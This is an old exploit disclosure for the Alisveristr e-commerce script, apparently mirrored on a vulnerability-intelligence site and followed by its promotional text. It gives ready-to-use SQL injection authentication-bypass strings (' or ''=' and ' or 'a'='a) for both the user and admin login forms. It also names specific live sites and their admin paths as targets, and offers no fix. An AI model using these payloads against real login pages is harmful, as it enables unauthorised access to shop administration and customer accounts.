E-commerce site vulnerable to SQL injection in both user and admin login interfaces.
`###Hi all
###B3g0k[at]hackermail.com
###Kurdish Hacker
###Special Thanx All Kurdish Hackers
###Freedom For Ocalan!!!
###-----------------------------------
###Alisveristr E-commerce User Login Sql İnjection
###Alisveristr E-commerce Admin Login Sql ###İnjection
###-----------------------------------
###Site: http://www.alisveristr.com or ###http://www.alisveris-tr.com
###
###Description: A E-Commerce scirpt it is too ###cool... :)
User login Sql İnjection:
Code 1 For User Login :
Username : ' or ''='
Password: ' or ''='
Another User Login Sql İnjecition
Username : ' or 'a'='a
Password : ' or 'a'='a
----------------------------------
Now Admin login Sql injectoin
ex: http://site.com/yonetim/default.asp
http://www.alisveristr.com/yonetim
http://www.alisveris-tr.com/yonetim
Code 1 For Admin Login
Username : ' or ''='
Password : ' or ''='
Code 2 For Admin Login :
Username : ' or 'a'='a
Password : ' or 'a'='a
Thats it.
Contact : [email protected]
Kurdish Hacker
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo